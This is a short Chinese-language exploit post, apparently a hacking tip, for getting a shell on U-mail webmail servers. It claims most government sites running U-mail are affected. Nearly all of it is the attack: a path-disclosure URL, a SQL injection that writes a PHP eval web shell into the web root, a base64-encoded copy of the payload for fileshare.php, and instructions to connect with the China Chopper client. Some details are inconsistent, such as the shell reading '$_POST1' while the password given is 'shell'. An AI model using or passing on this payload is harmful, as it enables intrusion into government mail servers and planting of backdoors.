大部分网站政府网站U-mail存在直接拿shell漏洞

加入
webmail/userapply.php?execadd=333&DomainID=111直接爆出物理地址

然后将
aa' union select 1,2,3,4,5,6,'<?php eval($_POST1);?>',8,9,10,11,12,13,14 into outfile 'D:/umail/WorldClient/html/saknc.php'#

用base64编译一下

YWEnIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUsNiwnPD9waHAgZXZhbCgkX1BPU1QxKTs/PicsOCw5LDEwLDExLDEyLDEzLDE0IGludG8gb3V0ZmlsZSAnRDovdW1haWwvV29ybGRDbGllbnQvaHRtbC9zYWtuYy5waHAnIw==

然后 
网站.com/webmail/fileshare.php?file=加上上面编译的base64代码

可直接写入shell saknc.php

用菜刀连接
网站.com/webmail/saknc.php

密码：shell

并且大部分政府网站的u-mail都存在这个漏洞